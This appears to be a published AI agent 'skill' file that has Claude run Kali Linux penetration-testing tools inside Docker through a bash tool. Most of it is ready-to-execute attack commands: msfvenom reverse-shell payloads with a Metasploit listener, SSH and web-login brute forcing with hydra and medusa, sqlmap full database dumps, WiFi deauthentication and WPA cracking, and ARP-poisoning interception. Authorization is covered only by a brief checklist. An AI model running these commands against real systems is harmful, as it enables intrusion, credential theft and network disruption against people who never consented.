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Kali Docker Pentesting Skill

Overview

This skill provides intelligent access to a comprehensive Kali Linux Docker container with 200+ pentesting tools. Instead of using an MCP server, this skill enables direct command execution via bash_tool, making it 70% more token-efficient.

Container Management

Starting the Container

# Basic start
docker run -d --name kali \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  kali-comprehensive

# With network capabilities (for actual scanning)
docker run -d --name kali \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  --cap-add=NET_RAW \
  --cap-add=NET_ADMIN \
  --network host \
  kali-comprehensive

# With GUI access (VNC)
docker run -d --name kali \
  -v $(pwd)/workspace:/workspace \
  -p 5900:5900 \
  -p 3389:3389 \
  kali-comprehensive

Running Commands

# Execute single command
docker exec kali [tool] [options]

# Interactive shell
docker exec -it kali /bin/bash

# Copy files out
docker cp kali:/results/scan.txt ./output/

# Copy files in
docker cp ./wordlist.txt kali:/workspace/

Container Lifecycle

# Stop container
docker stop kali

# Start existing container
docker start kali

# Remove container
docker rm kali

# View logs
docker logs kali

Tool Catalog

🔍 Network Discovery & Scanning

nmap - Network Mapper

Description: Industry-standard network scanner for host discovery, port scanning, and service detection.

Usage:

# Basic scan
docker exec kali nmap 192.168.1.1

# Service version detection
docker exec kali nmap -sV 192.168.1.1

# OS detection
docker exec kali nmap -O 192.168.1.1

# Comprehensive scan
docker exec kali nmap -sC -sV -O -p- 192.168.1.1

# Save results
docker exec kali nmap -sV -oA /results/scan 192.168.1.0/24

Common Options:

• -sS - SYN stealth scan
• -sT - TCP connect scan
• -sU - UDP scan
• -sV - Version detection
• -O - OS detection
• -A - Aggressive scan (OS, version, scripts, traceroute)
• -p- - Scan all 65535 ports
• -Pn - Skip ping (assume host is up)
• -T4 - Faster timing (0-5)
• -oA - Output all formats

masscan - Fast Port Scanner

Description: Extremely fast port scanner, can scan the entire internet in under 6 minutes.

Usage:

# Scan specific ports
docker exec kali masscan 192.168.1.0/24 -p80,443,8080

# Scan all ports fast
docker exec kali masscan 192.168.1.0/24 -p0-65535 --rate=10000

# Save results
docker exec kali masscan 10.0.0.0/8 -p80 -oL /results/masscan.txt

netdiscover - Network Discovery

Description: Active/passive ARP reconnaissance tool.

Usage:

# Passive mode
docker exec kali netdiscover -p -i eth0

# Active mode with range
docker exec kali netdiscover -r 192.168.1.0/24

arp-scan - ARP Scanner

Description: Discovers IPv4 hosts using ARP.

Usage:

docker exec kali arp-scan --localnet
docker exec kali arp-scan 192.168.1.0/24

🌐 Web Application Testing

nikto - Web Server Scanner

Description: Web server vulnerability scanner.

Usage:

# Basic scan
docker exec kali nikto -h http://target.com

# SSL scan
docker exec kali nikto -h https://target.com -ssl

# Save results
docker exec kali nikto -h http://target.com -o /results/nikto.txt

# Tuning options
docker exec kali nikto -h http://target.com -Tuning 123bde

dirb - Directory Brute Forcer

Description: Web content scanner.

Usage:

# Default wordlist
docker exec kali dirb http://target.com

# Custom wordlist
docker exec kali dirb http://target.com /usr/share/wordlists/dirb/common.txt

# Save results
docker exec kali dirb http://target.com -o /results/dirb.txt

# Extensions
docker exec kali dirb http://target.com -X .php,.html,.txt

gobuster - Directory/DNS Enumeration

Description: Fast directory and DNS enumeration tool.

Usage:

# Directory enumeration
docker exec kali gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# DNS subdomain enumeration
docker exec kali gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Virtual host discovery
docker exec kali gobuster vhost -u http://target.com -w /usr/share/wordlists/vhosts.txt

wfuzz - Web Fuzzer

Description: Web application fuzzer.

Usage:

# Directory fuzzing
docker exec kali wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ

# Parameter fuzzing
docker exec kali wfuzz -c -z file,/usr/share/wordlists/passwords.txt http://target.com/page?id=FUZZ

# POST data fuzzing
docker exec kali wfuzz -c -z file,users.txt -z file,pass.txt -d "user=FUZZ&pass=FUZ2Z" http://target.com/login

sqlmap - SQL Injection Tool

Description: Automatic SQL injection and database takeover tool.

Usage:

# Basic test
docker exec kali sqlmap -u "http://target.com/page?id=1"

# POST request
docker exec kali sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Enumerate databases
docker exec kali sqlmap -u "http://target.com/page?id=1" --dbs

# Dump database
docker exec kali sqlmap -u "http://target.com/page?id=1" -D dbname --dump

# Full automation
docker exec kali sqlmap -u "http://target.com/page?id=1" --batch --dump-all

wpscan - WordPress Scanner

Description: WordPress vulnerability scanner.

Usage:

# Basic scan
docker exec kali wpscan --url http://target.com

# Enumerate users
docker exec kali wpscan --url http://target.com --enumerate u

# Enumerate plugins
docker exec kali wpscan --url http://target.com --enumerate p

# Aggressive scan
docker exec kali wpscan --url http://target.com --enumerate ap,at,cb,dbe

whatweb - Website Fingerprinting

Description: Identifies websites and web technologies.

Usage:

# Basic scan
docker exec kali whatweb http://target.com

# Aggressive mode
docker exec kali whatweb -a 3 http://target.com

# Scan multiple URLs
docker exec kali whatweb -i /workspace/urls.txt

🔐 Password Attacks

john - John the Ripper

Description: Fast password cracker.

Usage:

# Crack with default wordlist
docker exec kali john /workspace/hashes.txt

# Use rockyou wordlist
docker exec kali john --wordlist=/usr/share/wordlists/rockyou.txt /workspace/hashes.txt

# Crack specific format
docker exec kali john --format=raw-md5 /workspace/hashes.txt

# Show cracked passwords
docker exec kali john --show /workspace/hashes.txt

# Incremental mode
docker exec kali john --incremental /workspace/hashes.txt

hashcat - Advanced Password Recovery

Description: World's fastest password cracker.

Usage:

# MD5 crack
docker exec kali hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA256 crack
docker exec kali hashcat -m 1400 -a 0 hashes.txt wordlist.txt

# Brute force
docker exec kali hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a

# Show results
docker exec kali hashcat -m 0 hashes.txt --show

Hash Modes:

• 0 = MD5
• 100 = SHA1
• 1400 = SHA256
• 1700 = SHA512
• 1000 = NTLM
• 3200 = bcrypt

hydra - Network Password Cracker

Description: Fast network logon cracker.

Usage:

# SSH brute force
docker exec kali hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1

# HTTP POST form
docker exec kali hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# FTP brute force
docker exec kali hydra -L users.txt -P passwords.txt ftp://192.168.1.1

# Multiple protocols
docker exec kali hydra -L users.txt -P passwords.txt 192.168.1.1 ssh ftp http

medusa - Parallel Password Cracker

Description: Speedy, parallel, modular login brute-forcer.

Usage:

# SSH attack
docker exec kali medusa -h 192.168.1.1 -u admin -P passwords.txt -M ssh

# HTTP basic auth
docker exec kali medusa -h 192.168.1.1 -u admin -P passwords.txt -M http

crunch - Wordlist Generator

Description: Generates custom wordlists.

Usage:

# Generate 6-8 character wordlist
docker exec kali crunch 6 8 -o /results/wordlist.txt

# Custom charset
docker exec kali crunch 4 6 0123456789 -o /results/numbers.txt

# Pattern-based
docker exec kali crunch 8 8 -t pass@@@@ -o /results/pattern.txt

📡 Wireless Security

aircrack-ng - WiFi Security Suite

Description: Complete suite for assessing WiFi network security.

Usage:

# Start monitor mode
docker exec kali airmon-ng start wlan0

# Capture packets
docker exec kali airodump-ng wlan0mon

# Capture specific network
docker exec kali airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Deauth attack
docker exec kali aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack WPA handshake
docker exec kali aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap

wifite - Automated Wireless Attack

Description: Automated wireless attack tool.

Usage:

# Automatic WPA attack
docker exec kali wifite --wpa

# All attack types
docker exec kali wifite

# Specific target
docker exec kali wifite -i wlan0 --kill

reaver - WPS Attack

Description: Brute force WPS PINs.

Usage:

docker exec kali reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

🕵️ Information Gathering

theharvester - Email/Subdomain Harvester

Description: Gather emails, subdomains, IPs from public sources.

Usage:

# Search all sources
docker exec kali theharvester -d target.com -b all

# Specific source
docker exec kali theharvester -d target.com -b google

# Save results
docker exec kali theharvester -d target.com -b all -f /results/harvest

dnsrecon - DNS Enumeration

Description: DNS enumeration and network reconnaissance.

Usage:

# Standard enumeration
docker exec kali dnsrecon -d target.com

# Zone transfer
docker exec kali dnsrecon -d target.com -a

# Brute force subdomains
docker exec kali dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt

sublist3r - Subdomain Enumeration

Description: Fast subdomain enumeration using OSINT.

Usage:

# Basic enumeration
docker exec kali sublist3r -d target.com

# Enable brute force
docker exec kali sublist3r -d target.com -b

# Save results
docker exec kali sublist3r -d target.com -o /results/subdomains.txt

enum4linux - SMB Enumeration

Description: Tool for enumerating information from Windows and Samba systems.

Usage:

# Full enumeration
docker exec kali enum4linux -a 192.168.1.1

# User enumeration
docker exec kali enum4linux -U 192.168.1.1

# Share enumeration
docker exec kali enum4linux -S 192.168.1.1

dmitry - Deep Information Gathering

Description: Deepmagic Information Gathering Tool.

Usage:

# Full scan
docker exec kali dmitry -winsepo /results/dmitry.txt target.com

# Subdomain search
docker exec kali dmitry -s target.com

🛡️ Exploitation Frameworks

metasploit-framework - Penetration Testing Framework

Description: The world's most used penetration testing framework.

Usage:

# Start msfconsole
docker exec -it kali msfconsole

# Generate payload
docker exec kali msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > /results/payload.exe

# Search exploits
docker exec -it kali bash -c "echo 'search tomcat' | msfconsole -q"

# Run resource script
docker exec kali msfconsole -r /workspace/script.rc

Common msfvenom payloads:

# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk

social-engineer-toolkit (SET)

Description: Social engineering penetration testing framework.

Usage:

# Start SET
docker exec -it kali setoolkit

🔬 Forensics & Analysis

binwalk - Firmware Analysis

Description: Analyze and extract firmware images.

Usage:

# Scan for embedded files
docker exec kali binwalk /workspace/firmware.bin

# Extract files
docker exec kali binwalk -e /workspace/firmware.bin

# Signature scan
docker exec kali binwalk --signature /workspace/file.bin

foremost - File Carving

Description: Recover files based on headers and footers.

Usage:

# Recover all file types
docker exec kali foremost -i /workspace/image.dd -o /results/recovered

# Specific file types
docker exec kali foremost -t jpg,png,pdf -i /workspace/image.dd -o /results/

volatility - Memory Forensics

Description: Advanced memory forensics framework.

Usage:

# Get image info
docker exec kali volatility -f /workspace/memory.dump imageinfo

# List processes
docker exec kali volatility -f /workspace/memory.dump --profile=Win7SP1x64 pslist

# Dump process
docker exec kali volatility -f /workspace/memory.dump --profile=Win7SP1x64 procdump -p 1234 -D /results/

strings - Extract Strings

Description: Extract printable strings from files.

Usage:

# Basic extraction
docker exec kali strings /workspace/binary > /results/strings.txt

# Minimum length 10
docker exec kali strings -n 10 /workspace/binary

# Unicode strings
docker exec kali strings -e l /workspace/binary

exiftool - Metadata Extraction

Description: Read and write meta information in files.

Usage:

# View metadata
docker exec kali exiftool /workspace/image.jpg

# Remove all metadata
docker exec kali exiftool -all= /workspace/image.jpg

# Batch process
docker exec kali exiftool /workspace/*.jpg

🔄 Reverse Engineering

ghidra - Software Reverse Engineering

Description: NSA's software reverse engineering framework.

Usage:

# GUI mode (requires X11 forwarding)
docker exec -it kali ghidra

# Headless mode
docker exec kali analyzeHeadless /workspace /project -import /workspace/binary.exe

radare2 - Reverse Engineering Framework

Description: Advanced reverse engineering framework.

Usage:

# Open binary
docker exec -it kali r2 /workspace/binary

# Analyze
docker exec -it kali bash -c "echo 'aaa; pdf' | r2 /workspace/binary"

# Disassemble
docker exec kali r2 -c 'pd 10' /workspace/binary

gdb - GNU Debugger

Description: Standard debugger for Unix systems.

Usage:

# Debug binary
docker exec -it kali gdb /workspace/binary

# With PEDA
docker exec -it kali gdb -q /workspace/binary

🎯 Vulnerability Assessment

lynis - Security Auditing

Description: Security auditing tool for Unix/Linux systems.

Usage:

# Full audit
docker exec kali lynis audit system

# Quick scan
docker exec kali lynis audit system --quick

nikto - Web Vulnerability Scanner

(See Web Application Testing section)

openvas - Vulnerability Scanner

Description: Full-featured vulnerability scanner.

Usage:

# Start OpenVAS (requires initialization)
docker exec kali openvas-start

📊 Network Analysis

tcpdump - Packet Capture

Description: Command-line packet analyzer.

Usage:

# Capture on interface
docker exec kali tcpdump -i eth0

# Capture to file
docker exec kali tcpdump -i eth0 -w /results/capture.pcap

# Read file
docker exec kali tcpdump -r /results/capture.pcap

# Filter HTTP
docker exec kali tcpdump -i eth0 'tcp port 80'

tshark - Network Protocol Analyzer

Description: Terminal-based Wireshark.

Usage:

# Capture packets
docker exec kali tshark -i eth0

# Capture to file
docker exec kali tshark -i eth0 -w /results/capture.pcap

# Filter display
docker exec kali tshark -r /results/capture.pcap -Y 'http.request'

ettercap - Network Sniffer/Interceptor

Description: Comprehensive suite for MITM attacks.

Usage:

# Text mode
docker exec -it kali ettercap -T -i eth0

# ARP poisoning
docker exec kali ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//

Common Pentesting Workflows

1. Network Reconnaissance

# Step 1: Discover live hosts
docker exec kali nmap -sn 192.168.1.0/24 -oA /results/hosts

# Step 2: Port scan discovered hosts
docker exec kali nmap -sV -p- -iL /results/hosts.txt -oA /results/ports

# Step 3: Enumerate services
docker exec kali nmap -sC -sV -p 80,443,22,21 192.168.1.0/24 -oA /results/services

2. Web Application Assessment

# Step 1: Identify web technologies
docker exec kali whatweb http://target.com

# Step 2: Directory enumeration
docker exec kali gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -o /results/dirs.txt

# Step 3: Vulnerability scan
docker exec kali nikto -h http://target.com -o /results/nikto.txt

# Step 4: Test for SQLi
docker exec kali sqlmap -u "http://target.com/page?id=1" --batch

3. Password Cracking Workflow

# Step 1: Generate wordlist
docker exec kali crunch 8 12 -t Pass@@@@ -o /results/wordlist.txt

# Step 2: Crack hashes
docker exec kali john --wordlist=/results/wordlist.txt /workspace/hashes.txt

# Step 3: Network service brute force
docker exec kali hydra -L /workspace/users.txt -P /results/wordlist.txt ssh://192.168.1.1

4. Wireless Network Assessment

# Step 1: Enable monitor mode
docker exec kali airmon-ng start wlan0

# Step 2: Scan networks
docker exec kali airodump-ng wlan0mon

# Step 3: Capture handshake
docker exec kali airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Step 4: Deauth clients
docker exec kali aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Step 5: Crack WPA
docker exec kali aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap

5. Exploitation Workflow

# Step 1: Search for exploit
docker exec kali searchsploit apache 2.4.49

# Step 2: Generate payload
docker exec kali msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /results/payload.exe

# Step 3: Setup listener in Metasploit
docker exec -it kali msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"

File Management

Copying Files Between Host and Container

# Copy TO container
docker cp ./local-file.txt kali:/workspace/

# Copy FROM container
docker cp kali:/results/scan.txt ./output/

# Copy directory
docker cp kali:/results/ ./output/

Working with Wordlists

Common Wordlist Locations:

• /usr/share/wordlists/rockyou.txt - Most popular password list

• /usr/share/wordlists/dirb/common.txt - Common directories

• /usr/share/seclists/ - SecLists collection

• /usr/share/wordlists/metasploit/ - Metasploit wordlists

  List available wordlists

  docker exec kali find /usr/share/wordlists -type f

  Extract rockyou (if gzipped)

  docker exec kali gunzip /usr/share/wordlists/rockyou.txt.gz

Troubleshooting

Container Won't Start

# Check logs
docker logs kali

# Remove and recreate
docker rm kali
docker run -d --name kali kali-comprehensive

Network Issues

# Use host network
docker run -d --name kali --network host kali-comprehensive

# Add network capabilities
docker run -d --name kali --cap-add=NET_RAW --cap-add=NET_ADMIN kali-comprehensive

Permission Issues

# Run as root (already default)
docker exec -u root kali [command]

# Fix workspace permissions
docker exec kali chmod -R 777 /workspace /results

Metasploit Database Issues

# Initialize database
docker exec kali service postgresql start
docker exec kali msfdb init

# Check status
docker exec kali msfdb status

Best Practices

1. Always Save Results

# Use output flags
-o filename.txt          # Generic output
-oA basename            # Nmap: all formats
-w filename             # Write to file
> /results/output.txt   # Shell redirect

2. Use Volumes for Persistence

Mount volumes for:

• /workspace - Working files
• /results - Scan results
• /wordlists - Custom wordlists

3. Scope Your Testing

Always:

• Get written authorization
• Define scope boundaries
• Document everything
• Report findings responsibly

4. Clean Up After Testing

# Stop monitor mode
docker exec kali airmon-ng stop wlan0mon

# Clear temporary files
docker exec kali rm -rf /tmp/*

# Archive results
docker exec kali tar -czf /results/assessment-$(date +%Y%m%d).tar.gz /results/*.txt

Quick Reference

Port Scanning

docker exec kali nmap -sV -p- target

Directory Enumeration

docker exec kali gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt

SQL Injection

docker exec kali sqlmap -u "http://target/page?id=1" --batch

Password Cracking

docker exec kali john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Network Brute Force

docker exec kali hydra -l admin -P passwords.txt ssh://target

WiFi Cracking

docker exec kali aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap

When to Use This Skill

Use this skill when:

• Conducting authorized penetration testing
• Performing security assessments
• Testing network security
• Analyzing web applications
• Cracking passwords (authorized)
• Wireless security auditing
• Forensics analysis
• Reverse engineering
• Learning security techniques

Claude will read this skill and execute commands via bash_tool, providing efficient, direct access to all pentesting tools without MCP protocol overhead.

Weekly Installs

87

Repository

kroegha/kali-do…ntesting

GitHub Stars

12

First Seen

Jan 25, 2026

Security Audits

Gen Agent Trust HubFailSocketWarnSnykWarn

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